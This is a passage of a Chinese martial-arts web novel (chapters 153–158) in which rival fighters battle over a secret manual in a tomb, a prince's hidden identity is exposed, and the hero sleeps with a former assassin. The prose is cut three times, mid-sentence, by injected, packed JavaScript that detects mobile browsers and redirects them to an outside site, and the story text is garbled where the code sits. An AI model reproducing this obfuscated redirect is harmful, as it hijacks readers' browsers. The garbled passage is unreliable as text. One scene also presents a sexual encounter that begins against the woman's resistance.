秦望山叹了口气，金光渐渐散去。他的眼中有着无奈：“也罢，你们进去吧。只是切记，不可毁坏墓中遗容。” 众人闻言大喜，纷纷应允。空气中的剑拔**张顿时消散了几分。 上官煜第一个朝墓道冲去，陈锋紧随其后。就在这时，一道凌厉的剑气横空而来，逼得上官煜不得不停下脚步。 “好强的剑气！”上官煜心中一惊，转头看去，出手之人竟是方才的柳风。 只见柳风手中握着一柄寒光四射的宝剑，正是传说中的玄冰剑。剑身上泛着淡淡的寒气，让人不寒而栗。 “这玄冰剑……”上官煜眼中闪过一丝贪婪，“你是从何处得来？” “无可奉告。”柳风冷笑一声，剑势再起。寒光闪烁间，周围的温度似乎都降低了几分。 秦望山见状欲要上前阻止，却被巩明道长拦下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693935|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只见道长摇了摇头：“且看他们争斗便是，我们不必插手。” 战斗已经进入白热化。 为了争夺那本传说中的天地大挪移，各方势力使出浑身解数，招招致命。空气中弥漫着肃杀之气，连呼吸都变得凝重起来。 秦烨站在远处，看得眼花缭乱。虽然早有心理准备，但眼前这场混战的激烈程度，还是远超他的想象。地面上已经躺了不少受伤的武林人士，有些甚至已经气绝身亡。 “砰！”一声巨响，两道人影在空中交错而过。 上官煜以一敌多，身形飘忽，在众多高手的**下游刃有余。他的脸上带着从容的笑意，每一招都显得那么优雅，但秦烨注意到，他的额头已经渗出细密的汗珠，呼吸也略显急促。 “上官公子，你的飞鹰身法确实了得。”陈锋冷笑一声，“不过，今天这天地大挪移，我是志在必得！” 话音未落，陈锋已经欺身而上。他的掌风凌厉，每一击都蕴含着惊人的力道。上官煜连忙侧身闪避，但还是被掌风擦中了衣袖，顿时布帛撕裂的声音响起。 “好功夫。”上官煜轻笑一声，“不过，你还差得远！” 两人的较量愈发激烈，掌风呼啸，剑气纵横。周围的空气似乎都因为他们的交手而变得扭曲。其他武林人士不得不退避三舍，生怕被这恐怖的余波波及。 秦烨暗自咂舌，这等层次的较量，已经超出了他的认知范畴。他的目光扫过战场，注意到更远处还有不少门派掌门按兵不动。这些老狐狸比谁都清楚，过早参战只会消耗自身实力。 “小心！”秦韶华突然拉了他一把。 一道剑气擦着秦烨的耳边飞过，在身后的石壁上留下一道深深的痕迹。秦烨心有余悸地看着那道痕迹，如果不是秦韶华及时提醒，他恐怕已经重伤了。 “多谢。”秦烨感激地看向秦韶华。 秦韶华摇摇头：“现在不是说这个的时候，我们得想办法离开这里。” 秦烨下意识看向守陵人秦望山。老人站在墓室入口处，神情凝重。注意到秦烨的目光，他轻轻摇头，示意他们离开。 就在此时，一个苍老但不失威严的声音响起：“年轻人，留步。” 第一百五十四章 根骨不凡 秦烨转身，看到一位白发苍苍的老妪正缓步走来。她的步伐看似缓慢，但每一步都仿佛踏在虚空之中，给人一种飘渺的感觉。 玉华谷宗主。 这位老妪在江湖上名声显赫，是灵药谷谷主詹阑的母亲。秦烨连忙行礼：“玉华宗主。” 老妪的目光在秦烨身上停留片刻，眼中闪过一丝莫名的神色：“你的气息……很特别。” 秦烨心中一惊，不知该如何回应。 “奶奶！”一个清脆的声音突然响起。月华从秦烨身后探出头来，但又很快缩了回去。 玉华宗主露出一丝笑意：“月华，别躲了，跟奶奶下山。这里太危险。” “我不要！”月华倔强地说，“我要保护师父！” “调皮。”玉华宗主轻叹一声，手指一弹。 几根银针破空而出，月华还没反应过来，就感觉四肢不受控制，朝玉华宗主走去。临走前，老妪意味深长地看了秦烨一眼：“年轻人，你根骨不凡，前途无量。不过要谨慎行事，莫要被人当做棋子。” 秦烨虽然不太明白这番话的深意，但还是恭敬应道：“晚辈谨记。” 就在此时，墓道深处传来一声巨响。有人打开了石门！ 几个高手顾不得其他，争先恐后地冲了进去。 “咻咻咻！” 密集的箭矢从墓室**出，瞬间带走了几条人命。这些叱咤江湖的高手，连哼都没来得及哼一声就倒在了血泊中。 墓道幽深，阴冷的空气中弥漫着一股腐朽的气息。两道身影在昏暗的甬道中你追我赶，脚步声在空旷的墓道中回荡，显得格外清晰。 上官煜的呼吸略显急促，额头渗出细密的汗珠。他能清晰地感受到身后那人的气息，如影随形，挥之不去。那是江湖上赫赫有名的高手陈锋，一个让他也不得不谨慎对待的对手。 “这陈锋的武功竟然如此了得。”上官煜暗自思忖，脚步不由得又快了几分。 墓道两侧的火把忽明忽暗，在墙壁上投下摇曳的影子。上官煜能感受到陈锋的呼吸声就在身后不远处，这让他不得不承认，对方的实力确实在自己之上。 远处传来密集的脚步声，显然更多的高手正在逼近。回音在幽深的墓道中层层叠叠，让人分不清到底有多少追兵。 “糟了。”上官煜眉头紧皱。 若是再这样纠缠下去，那天地大挪移的秘籍必将旁落他人之手。多年的谋划可能就此付诸东流，这绝非他所愿见到的结果。 一阵阴风吹过，火把剧烈摇晃，投射出诡异的光影。上官煜的脚步突然一顿，他猛地转身，面对着紧随其后的陈锋。 面具下的双眼闪过决然，他已经下定决心，要动用那个不到万不得已绝不会使用的绝学。 噬月大功！ 这门功夫在江湖上臭名昭著，不知多少英雄好汉死在这门邪功之下。一旦暴露，必将成为众矢之的。但此刻，为了那天地大挪移，一切都值得冒险。 陈锋见他突然停步，也不由得警惕起来。他双手微抬，随时准备应对可能的突袭。但他的目光扫过上官煜全身，却并未察觉到什么异常。 “这位兄弟，何必在此纠缠？”陈锋沉声道，“交出天地大挪移，我们可以坐下来好好谈谈。” 上官煜没有说话，只是深深地吸了一口气，将全身功力运转于右掌之上。掌心隐隐泛起一丝诡异的红光，在昏暗的墓道中显得格外醒目。 “轰！” 一掌轰出，气浪翻涌。陈锋只觉一股诡异的吸力传来，全身真气不受控制地外泄，整个人顿时倒飞出去，重重撞在墓道壁上。后方赶来的数名高手也被这股气浪掀翻在地，一时间哀嚎声此起彼伏。 不等众人反应，上官煜已经闪身进入墓室之中。 墓室比墓道更加宽敞，四周点着长明灯，将整个空间照得通明。正中央，一具骸骨端坐于蒲团之上，正是已经坐化的东雄图。那骸骨虽已枯朽，但仍保持着生前打坐的姿态，给人一种庄严肃穆之感。 而在那骸骨前方，放着一个朴实无华的木匣。 “天地大挪移，就在其中！”上官煜心中一喜，快步上前。 木匣看上去普普通通，但上官煜却能感受到其中蕴含的不凡。他小心翼翼地伸手，轻轻打开木匣。 然而入目所见，却只有一枚令牌静静躺在其中。 “这是……青云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699605|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教的令牌？”上官煜一愣，正要仔细查看，忽觉身后劲风袭来。 他猛地转身，却已经晚了。一道人影如鬼魅般掠过，手中令牌已被夺去。那人的身法之快，就连以上官煜的眼力都只看到一道残影。 “哈哈哈，天地大挪移是我的了！” 那人得意大笑，声音在墓室中回荡。上官煜定睛一看，竟是江湖上赫赫有名的盗圣怀风豹。这个臭名昭著的大盗，不知何时也混入了进来。 怀风豹低头看了眼手中令牌，笑容顿时凝固。他的表情从得意变成疑惑，又从疑惑变成惊恐。 上官煜冷哼一声，一掌拍出。掌风呼啸，带着凌厉的杀气。 怀风豹躲闪不及，被这一掌正中胸口。他口中喷出一口鲜血，身体如断线风筝般飞出，重重摔在地上，再也爬不起来。 这时，柳风等人已经冲入墓室，将上官煜团团围住。刀光剑影中，杀气四溢。 “芮容霄，交出天地大挪移！”柳风厉声喝道，手中长剑直指上官煜。 众人看到地上奄奄一息的怀风豹，又看到他手中的青云教令牌，目光齐刷刷地转向上官煜。空气中弥漫着一股剑拔**张的气息。 “其实根本没有所谓的天地大挪移。”上官煜沉声道，语气中带着一丝无奈。 怀风豹却在临死前，颤抖着手指向上官煜：“是他……”话未说完，便气绝身亡。他的眼睛仍然大睁着，似乎要将什么重要的信息带入地下。 陈锋此时也踉跄着走进墓室，他的脸色苍白，显然还未从噬月大功的影响中完全恢复。他弯腰捡起地上的令牌，冷笑道：“好你个芮容霄，竟然玩这样的把戏。” “怀风豹已经暴露了你的诡计，还不快将天地大挪移交出来！”四周响起此起彼伏的喝问声。刀剑出鞘的声音此起彼伏，杀气更盛。 上官煜环视一周，心知今日是中了圈套。木匣中根本没有天地大挪移，只有一枚青云教的令牌。而这枚令牌，恰恰证明了他的身份。 他拿起空木匣，展示给众人看：“你们自己看，里面什么都没有。” “哼，自然是被你提前取走了。”陈锋冷冷道，“今日你休想蒙混过关。” 第一百五十五章 噬月大功 上官煜站在墓室中央，周围十数名高手虎视眈眈。青石墙壁上的火把跳动着昏黄的光，在每个人脸上投下诡异的阴影。空气中弥漫着一股淡淡的腐朽气息，混合着血腥味，令人作呕。 他的目光在众人脸上逐一扫过，每个人眼中都闪烁着贪婪和杀意。这些平日里道貌岸然的所谓“正派人士”，此刻全都露出了真面目。 “你们这群草包，你们看我究竟能偷走什么？”上官煜冷笑一声，声音在墓室中回荡。 柳风握紧手中长剑，寒光闪烁：“芮容霄，别装了！我亲眼看见你从木匣中取出东西，天地大挪移的秘籍不就在你身上？” “交出来！这秘籍本就该是天下人共享，岂能让你独占？”一名身着灰袍的武林高手厉声喝道，眼中闪过狂热。 上官煜眉头紧皱，心中暗骂。这帮人根本不给他解释的机会，分明是有备而来。他能感受到四面八方传来的压迫感，每个人都在蓄势待发，只等一个信号就会扑上来。 “我说了，我什么都没拿。”上官煜缓缓说道，声音中带着一丝疲惫。 此言一出，顿时引来一片嗤笑。墓室中回荡着不屑的声音。 “芮容霄，你把我们当三岁小孩糊弄？”一个瘦高个子冷笑道。 “大家都看见你从匣子里取东西，现在说什么都没拿？”另一人附和道，手中长剑微微颤动。 上官煜暗自叹息，这下真是百口莫辩。他本想着坦白从宽，解释自己只拿了一枚青云教令牌，可话到嘴边又咽了回去。这帮人摆明是冲着天地大挪移来的，说什么都没用。 就在这时，一直沉默的陈锋突然眼神一凝：“等等，芮容霄刚才使用的是噬月大功！” 此言一出，全场哗然。墓室中的气氛瞬间变得更加紧张。 “噬月大功？那不是邪派**吗？” “难怪他功力如此深厚，原来是靠这等邪门歪道！” “这等魔头，人人得而诛之！” 七嘴八舌的声音此起彼伏，每个人脸上都露出厌恶的表情。但上官煜却看到，在他们眼底深处，有一丝掩饰不住的忌惮。 上官煜心中冷笑，这帮**子，一听到天地大挪移就原形毕露。如今又拿噬月大功说事，无非是找个借口群起而攻之罢了。 他暗自运气，体内真气开始缓缓流转。经脉中传来阵阵刺痛，提醒着他之前战斗留下的暗伤还未痊愈。今日这局面，只能拼死一搏了。 “既然诸位如此热情，那咱们就好好玩玩！”上官煜冷笑一声，右掌猛然推出。 一股阴寒内力席卷而出，直逼最近的两名高手。那两人脸色大变，连忙后退。但还是慢了一步，衣袖被这股内力擦过，顿时结出一层薄冰。 “果然是噬月大功！大家小心，别让他碰到！”有人高声提醒，声音中带着明显的惊慌。 十余名高手纷纷亮出兵器，呈扇形将上官煜围住。剑光闪烁，刀影重重。火把的光芒映在刀剑上，反射出令人心悸的寒光。 上官煜身形飘忽，在重重包围中左突右闪。他的动作看似随意，实则每一步都经过精确计算。他深知今日凶险，一旦被缠住就是死路一条。当务之急是寻找突围的机会。 “砰！” 一声巨响，上官煜震退两名进攻的高手，趁机向墓室出口冲去。他的衣袂在空中划出一道优美的弧线，却又带着说不出的凌厉。 “别让他跑了！” “截住他！” 呐喊声中，数道凌厉剑气破空而至。剑气撕裂空气，发出尖锐的啸声。上官煜连续变换身法，堪堪避过。他的额头已经渗出细密的汗珠，每一次闪避都在消耗着宝贵的体力。 可刚躲开剑气，又有两柄长刀当头劈下。刀光森寒，带着不容闪避的气势。 上官煜暗叫不妙，只得硬接这一击。他双掌齐出，震开长刀，但也被这一下震得气血翻涌。经脉中传来撕裂般的疼痛，让他几乎站立不稳。 “咳！” 他忍不住咳出一口鲜血，脸色更加苍白。殷红的血迹在青石地面上格外醒目。这一个照面，他就知道今日想要全身而退几无可能。这些人中不乏一流高手，联手之下，自己迟早会力竭。 “芮容霄，交出天地大挪移，我们还能饶你一命！”柳风冷声说道，手中长剑直指上官煜心口。 上官煜擦去嘴角血迹，冷笑道：“我若真有那秘籍，你们会放过我？” “那是自然，我柳风说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699606|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向来算数。”柳风正气凛然地说道，但眼中的狠厉之色却出卖了他。 “呵呵，说得好听。可惜我是真的没有那秘籍！” 上官煜一边说着，一边暗自积蓄力量。他能感觉到体内真气正在快速流失，如果再不突围，恐怕连最后的机会都要失去。 “既然你执迷不悟，那就别怪我们心狠手辣！” 柳风一声令下，众人再次发动猛攻。剑光刀影中，上官煜且战且退，身上已添了数处伤口。鲜血染红了他的衣衫，但他眼中战意不减。每一次出手都凌厉异常，逼得对手不得不退避。 就在这时，墓室一角突然传来异响。像是有什么东西倒塌了，发出沉闷的声响。众人不由分神望去，就连最谨慎的柳风也下意识地转头看了一眼。 上官煜抓住这稍纵即逝的机会，运起噬月大功，猛然向最近的对手抓去。那是一个使刀的汉子，正因为分神而露出破绽。 那人躲闪不及，被他一掌印在胸口。顿时面色惨白，体内真气不受控制地外泄。上官煜借着这股力量，终于找到突围的机会。 “想跑？” 柳风长剑横空，封住去路。剑气纵横，将上官煜的退路尽数封死。但上官煜不退反进，主动迎上那凌厉剑气。 “锵！” 一声金铁交鸣，火星四溅。上官煜以掌力震开长剑，整个人如离弦之箭般冲出包围圈。他的衣袂被剑气撕裂，又添了几道伤口，但这些都已经不重要了。 “追！” 身后传来此起彼伏的喊声，脚步声杂乱。上官煜却已顾不得那么多。他知道，一旦被追上就是死路一条。此刻他只想着尽快离开这是非之地。 与此同时，秦烨一行人已策马奔驰在旷野上。离开云霄观后，他们没有丝毫停留。沈化林、韩九紧随其后，四人默契地选择了最隐蔽的小路。 秦烨的思绪却已经飘向了下一个目标——少林寺。那本七星养气诀的秘籍上，曾有一段隐晦的记载，提到少林寺中藏有一门太乙心法。若能将其与七星养气诀相互配合，便可纵横天下，无人能敌。 “能与七星养气诀相辅相成的，除了天地大挪移还能是什么？”秦烨低声自语，目光中闪过一丝锐利的光芒。 第一百五十六章 有个了断 夜色渐深，远处隐约可见一座客栈的轮廓，灯火通明，在夜色中格外醒目。 “就在这里歇息吧。”秦烨勒住马缰，翻身下马。沈化林和韩九紧随其后，警惕地打量着四周。 店小二笑脸相迎：“几位客官里面请，小店虽小，却也干净整洁。” 就在秦烨准备迈步上楼时，突然察觉到几道凌厉的气息。沈化林和韩九瞬间警觉，一左一右挡在秦烨身前。 抬头望去，四名缥缈宫高手正倚栏而立，神情淡然，显然已经等候多时。其中一人身着青衫，拱手道：“秦公子，我们家仙姬有请。” 秦烨眉头微挑，目光在几人身上逡巡。这些人正是白天在云霄观外遇到的缥缈宫高手。沈化林和韩九交换了一个眼神，轻轻摇头，示意秦烨不要贸然前往。 “有趣。”秦烨轻笑一声，语气中带着几分玩味，“既然是潘姑娘相邀，那我自当赴约。” “公子……”沈化林眉头紧蹙，话到嘴边又咽了回去。 秦烨漫步登楼，脚步声在木质楼梯上回荡。身后的沈化林和韩九紧随其后，眼神警惕地扫视四周。 楼梯拐角处，四名黑衣人突然现身，他们身形矫健，目光如刀。为首一人抱拳道：“二位请留步，我家仙姬只见这位公子一人。” 韩九眉头一皱，手已按在腰间刀柄上。沈化林则是不动声色地挪动脚步，随时准备出手。 “无妨。”秦烨转身，嘴角挂着淡淡的笑意，“你们在此等候便是。” “公子……”沈化林欲言又止，眼中闪过一丝担忧。 秦烨轻轻摆手，示意他们不必多虑。转身继续上楼，背影从容不迫。 雅间内，潘凝烟正对着铜镜梳理青丝。镜中倒映出她那张绝美的容颜，眼波流转间似有千般情愫。听到渐近的脚步声，她纤纤玉手微微一颤，手中的木梳险些跌落。 这一刻终究还是来了。 她深吸一口气，暗自运转真气。体内真气游走经脉，如涓涓细流般流淌，渐渐汇聚于双掌之中。 “进来吧。”她轻声说道，声音中带着一丝难以察觉的颤抖。 门轻轻推开，秦烨的身影出现在门口。他目光如水，静静地注视着那抹倩影。 “仙姬相邀，在下自当赴约。”他的声音温和中带着一丝调侃。 潘凝烟猛地转身，眼中寒芒乍现：“秦烨，今日你我之间，也该有个了断了。” “了断？”秦烨轻笑一声，缓步走近，“不知仙姬想如何了断？” “杀了你！” 话音未落，潘凝烟已然出手。她玉掌如电，掌风凌厉，直取秦烨要害。这一掌若是击中，足以让人经脉尽断。 秦烨身形一闪，轻巧地避开这致命一击。衣袖翻飞间，竟显出几分潇洒之意。 “仙姬这一掌好生凌厉。”他依旧保持着那抹笑意，“不过，咱们好歹也是夫妻一场，就这般要置我于死地，是不是太绝情了些？” “呸！”潘凝烟俏脸含煞，“你这等无耻之徒，死有余辜！” 她连环出掌，招招狠辣。掌风呼啸，将周围桌椅打得东倒西歪。 秦烨左闪右避，始终不与她正面相抗。他的动作看似随意，实则暗合太极之道，以柔克刚。 “我倒要看看，你能躲到几时！”潘凝烟咬牙切齿，玉手挥舞间真气四溢。 忽然，秦烨停下脚步：“不如我们换个方式解决？” “休想蛊惑于我！” 潘凝烟一掌拍出，却被秦烨抓住了手腕。她只觉一股温热的气息传来，心头不由一颤。 “你……放开！”她挣扎着，却发现自己的力气仿佛被抽空了一般。 秦烨将她揽入怀中，温热的气息拂过她的耳畔：“为何要放？你我之间，难道就只能刀剑相向？” “无耻！”潘凝烟俏脸通红，娇躯微颤。 她修炼醉月心经，此时被秦烨这般亲近，身子不由自主地发软。一股异样的感觉从心底升起，让她既羞恼又无力。 “看来仙姬的身子，比嘴巴要诚实得多。”秦烨在她耳边低语，温热的气息让她浑身酥麻。 “你……”潘凝烟羞愤欲绝，想要挣扎，却发现自己的力气越来越小。 秦烨吻住她的红唇，将她抱到了床榻之上。窗外的月光洒落进来，为这一幕镀上了一层朦胧的银辉。 一番云雨之后，潘凝烟依偎在秦烨怀中，眼中春意未消。她玉手轻轻抚摸着秦烨的胸膛，感受着他有力的心跳。 “你这个坏人……”她轻声嗔道，声音中带着慵懒的味道。 “方才明明是你……” “不许说！”潘凝烟羞得捂住他的嘴，语气娇嗔。 秦烨笑着握住她的手：“那现在，还要杀我吗？” 潘凝烟轻哼一声：“杀是不会杀你了，不过……” “不过什么？” “不过……这次让我在上面好不好？”潘凝烟轻咬红唇，声音如同蜜糖般甜腻。 这种好事他哪有拒绝的道理？秦烨轻笑着点头：“既然你想在上面，那就依你。” 房内春光旖旎，一时无话。 而此刻，云霄观后山上，却是另一番截然不同的景象。 山风呼啸，树影婆娑。月光如水般倾泻而下，照亮了这片杀机四伏的战场。 上官煜面对数位高手的围攻，已显露出几分疲态。汗水顺着他的额角滑落，沾湿了衣襟。他的身法依然凌厉，招式依然精妙，但面对如此多的顶尖高手，即便是他也不得不承认有些力不从心。 “嗤！”一道剑气划破长空。 上官煜侧身避过，衣袖被划出一道口子，鲜血渗出。寒风吹过伤口，带来一阵刺痛。 “芮容霄，你今日休想活着离开！”柳风手持长剑，目光如炬。 上官煜冷冷扫视周围的敌手，眼中闪过一丝阴霾。他知道，今晚这些人是铁了心要置他于死地。 “既然如此……”他深吸一口气，终于下定决心施展出那门一直被他否认的功夫。 “轰！” 一股诡异的吸力从他掌心涌出，周围几位武林高手顿感内力不受控制地外泄。那种感觉就像是江河决堤，再也无法阻挡。 “这是……这是噬月大功！”有人惊呼出声。 “果然是噬月大功！”柳风怒喝一声，“上官煜，你果真修炼了这等邪门功夫！难怪近来江湖上接连有高手失踪，原来都是拜你所赐！” 上官煜冷笑一声，不再掩饰：“既然你们都已看出，那我也不必再藏着掖着了。” 他双掌齐出，噬月大功全力施展。周围的空气仿佛都凝固了，几位高手的内力源源不断地被他吸收。 但即便如此，在这么多高手的围攻下，他的处境依然岌岌可危。噬月大功虽然厉害，但也架不住这么多人车轮战般的消耗。 第一百五十七章 身份暴露 “砰！” 一记掌力击中上官煜的肩膀，他闷哼一声，踉跄后退。 “必须尽快脱身。”他心中暗道，目光在四周游移，寻找突围的机会。 就在这时，陈锋踏前一步，冷声道：“想跑？今日你既然暴露了噬月大功，又得到了天地大挪移，岂能让你轻易离去？” 上官煜眼中寒光一闪。他知道今日之事已经到了生死攸关的地步。若是被这些人拿下，别说什么复兴大燕的宏图霸业，怕是小命都要交代在这里。 “蛊老！”他一声大喝。 话音未落，两道人影闪现而出，挡在了众人面前。这两人身着麻袍，面容阴冷，浑身上下散发着一股诡异的气息。 “巫疆蛊师！”有人惊呼，“芮容霄，你竟然勾结外族之人！” 只见那两个麻袍人袖子一抖，无数毒虫倾巢而出，密密麻麻地爬满了地面。月光下，这些毒虫闪烁着诡异的光泽，令人不寒而栗。 众高手见状大惊，纷纷后退。这些毒虫一看就不是寻常之物，沾上一只怕是都够受的。 “芮容霄，你简直就是我中原武林的败类！”柳风怒不可遏，“今日我定要替武林除害！” 上官煜已经顾不得许多，趁着这个机会转身就逃。虽然这一战让他损失惨重，不仅没有得到天地大挪移，还暴露了身份，但至少保住了性命。 就在众人准备追击之际，一只信鸽忽然飞到武勇面前。 武勇伸手接过信鸽脚上的纸条，借着月光仔细查看。只见上面写着一行字：“【芮容霄就是大周的藩王上官煜。】 “什么？”武勇大惊失色，手中的纸条差点掉落。 一旁的沈飞雪也看到了纸条，顿时咬牙切齿：“难怪他如此嚣张，原来是仗着皇室背景！怪不得能在短短几年间就在江湖上站稳脚跟。” 她看到纸条末尾署名是秦烨，不由冷笑：“这秦烨是想让我们看在皇室的面子上放过上官煜吗？” “哼，就算他是藩王又如何？杀我武林同道，夺取天地大挪移，这笔账必须要算！”沈飞雪眼中杀意凛然。 然而她却不知道，秦烨的用意根本不是为上官煜求情。相反，他是要借江湖武林之手，给上官煜一个深刻的教训。 毕竟，一个修炼了噬月大功，又觊觎天地大挪移的藩王，对任何人来说都是一个巨大的威胁。 此时的秦烨正躺在床上，听着身边美人均匀的呼吸声，脑海中却在思索着接下来的局势。 现在上官煜的真实身份已经暴露，接下来等待他的，将是整个江湖的追杀。就算他放弃了芮容霄这个身份，也无法平安无事。江湖中人对修炼噬月大功之人的仇恨由来已久，更何况他还是一个觊觎武林至高功法的野心家。 这才是秦烨真正的目的 - 借刀杀人，以江湖之力，制衡上官煜的野心。 即便不能将其彻底铲除，至少也要打掉他的青云教，削弱他的势力。让他明白，即便是皇室宗亲，也不能为所欲为。 而此刻，上官煜正在快马加鞭地赶路。他的脸色阴沉得可怕，眼中闪烁着凶狠的光芒。 “秦烨……”他咬牙切齿地吐出这个名字，“你敢坏我大事，我定要让你付出代价！” 清晨的阳光洒在官道上，秦烨骑在马背上，目光远眺前方。晨风拂过脸庞，带着江南特有的湿润气息。 远处的山峦在晨雾中若隐若现，绿意盎然的树木在风中轻轻摇曳。江南的风景虽好，但他知道，是时候该离开了。 昨夜与潘凝烟的缠绵，仍在脑海中挥之不去。那一夜的旖旎，那一夜的温存，让他几乎沉醉其中。她的发丝如瀑，肌肤胜雪，一颦一笑间都带着致命的诱惑。但秦烨很清楚，对于一个男人来说，温柔乡就是英雄冢。 “回汴城吧。”他轻声说道，声音里带着疲惫。 身后的沈化林和韩九默默跟上，没有多说什么。两人都察觉到了主子的心情似乎不太好，只是安静地护卫在左右。 马蹄声踏在官道上，发出清脆的响声。秦烨的思绪不由得飘向了汴城，想起了上官瑾那清冷的眼神，想起了司马玉华的温婉，还有宫中那些妃子们的娇媚。每个女人都有着独特的魅力，却又各有各的心思。 不知不觉间，嘴角勾起一抹笑意。江南一行，虽然耽搁了些时日，但总算完成了皇上交代的任务。 就在这时，前方突然出现一道红色的身影。那抹红色如同一朵妖艳的花，在晨光中格外醒目，犹如一团跃动的火焰。 是潘凝烟。 秦烨勒住马缰，看着眼前这个让他意外的女人。她穿着一袭红衣，衣袂随风轻扬，发髻间的金钗在阳光下闪烁着点点光芒。 “怎么，你在这里等我？”秦烨挑了挑眉，语气中带着几分调侃。 潘凝烟抬头看着他，眼中闪过些许羞涩，白皙的脸颊泛起淡淡的红晕：“我……我想和你一起回汴城。” 这句话让秦烨愣住了。他没想到，这个曾经要取他性命的女人，会说出这样的话。记得初次相见时，她还是青云教的杀手，带着必杀的决心来刺杀自己。 “你确定？”秦烨认真地问道，目光紧紧盯着她的眼睛。 潘凝烟点点头，眼中带着坚定：“我已经想清楚了。” 秦烨揉了揉太阳穴，这可真是个麻烦事。带着一个前青云教杀手回汴城，这消息要是传出去，恐怕又要引起一番风波。 但看着潘凝烟坚定的眼神，他又有些不忍心拒绝。沉默片刻后，他叹了口气：“上马吧。” 潘凝烟眼含喜色，轻盈地翻身上马。 一行人继续赶路，马蹄声在官道上回荡。沈化林和韩九对视一眼，都从对方眼中看到了担忧。带着潘凝烟回京，无异于引狼入室。但既然是主子的决定，他们也只能默默遵从。 就在秦烨一行人踏上归途时，汴城内却暗流涌动。 天虎门总部，一个虎背熊腰的大汉正坐在主位上，他就是帮主周马煜。灯火将他的身影映在墙上，显得格外魁梧。 “报告帮主，虎卫的情况已经查清楚了。”一个手下快步走进来，脸上带着兴奋之色。 周马煜眯起眼睛，眼中闪过一丝寒光：“说。” “虎卫就是玄铁会的残部重组的，人数不多，实力也一般。他们在城南有三个据点，城北有两个据点。对了，赵马玄的遗孀商媛也在其中。” 听到商媛的名字，周马煜眼中闪过异样的光芒。当年赵马玄死在他手上，这个女人却一直没有找到。没想到，她竟然躲在虎卫里。 “很好。”他站起身，虎目中精光闪烁，“既然青云教退出了汴城，那这块地盘，也该到我们接手的时候了。” “帮主英明！”手下们齐声应和，声音在大厅中回荡。 第一百五十八章 连根拔起 周马煜冷笑一声，脸上露出狰狞之色：“传令下去，今晚就动手，给我把虎卫连根拔起！一个不留！” 与此同时，秦烨已经带着一行人进了汴城。 熟悉的街道，熟悉的气息，让他感到无比轻松。街边的小贩还在吆喝，茶馆里传来说书人的声音，一切都是那么熟悉。 “终于回来了。”他深吸一口气，“还是汴城的空气香。” 沈化林笑道：“是啊，在外面奔波这么久，总算能好好休息了。” 韩九也附和道：“属下都想念汴城的包子了。尤其是西街那家老赵的肉包子，想想就流口水。” 看着两个手下的模样，秦烨不禁莞尔。这两个平日里杀伐决断的护卫，此时却像个孩子一样。 潘凝烟骑在马上，默默地打量着这座陌生的城市。她能感受到路人投来的异样目光，但她并不在意。她的眼中只有前方那道挺拔的身影。 “走吧，先回府上。”秦烨说道，“让人准备些酒菜，好好庆祝一下。” “是！” 一行人朝着孟府的方向而去，马蹄声渐渐消失在汴城的街道上。夕阳的余晖洒在古老的城墙上，为这座城市镀上了一层金色。 虎卫总部外，秦烨勒住马缰，眯起眼睛打量着前方。初春的寒风裹挟着细碎的尘土扑面而来，空气中弥漫着一股令人不安的气息。 这股气息中蕴含着四品、五品武者特有的内力波动，绝非虎卫中人。秦烨眉头微皱，手指无意识地摩挲着马鞍边缘。 “有意思。”他轻声自语，目光在远处游移。 不远处，一群人缓步走来。为首的是个身着锦袍的中年男子，面容清癯，眉宇间透着几分傲气。他身后跟着十几个手持兵器的随从，个个气息内敛，步伐沉稳。 秦烨暗自打量着这群不速之客。那锦袍男子修为不弱，举手投足间隐隐透着三品境界的气势，比自己高出一个大境界。其他人虽然气息不显，但能跟在这种高手身边，想必也不是等闲之辈。 “真是挑了个好时候。”秦烨嘴角扯出一抹冷笑。虎卫刚刚成立不久，根基未稳，这时候上门，显然不怀好意。 双方在虎卫大门前站定。春风徐徐，吹动着众人的衣袍，空气中弥漫着一股剑拔弩张的气息。 那锦袍男子率先开口，声音温和中带着几分矜持：“在下周马煜，不知几位是？” “秦烨。”他淡淡应道，目光却始终没有离开对方，“周帮主带着这么多人来虎卫门前，所为何事？” 周马煜眼中闪过一缕精芒，随即又恢复了温和的神色：“实不相瞒，我与玄铁会原帮主赵马玄是结义兄弟。如今赵兄惨遭不测，基业被人夺去，连嫂嫂商媛都沦为阶下囚。我身为兄弟，岂能坐视不理？” “原来如此。”秦烨眉梢微挑，“所以周帮主是来替赵帮主讨回公道的？” “正是。”周马煜点头，目光在秦烨身上停留片刻，“几位若非虎卫中人，还请速速离去。待会动起手来，难免伤及无辜。” 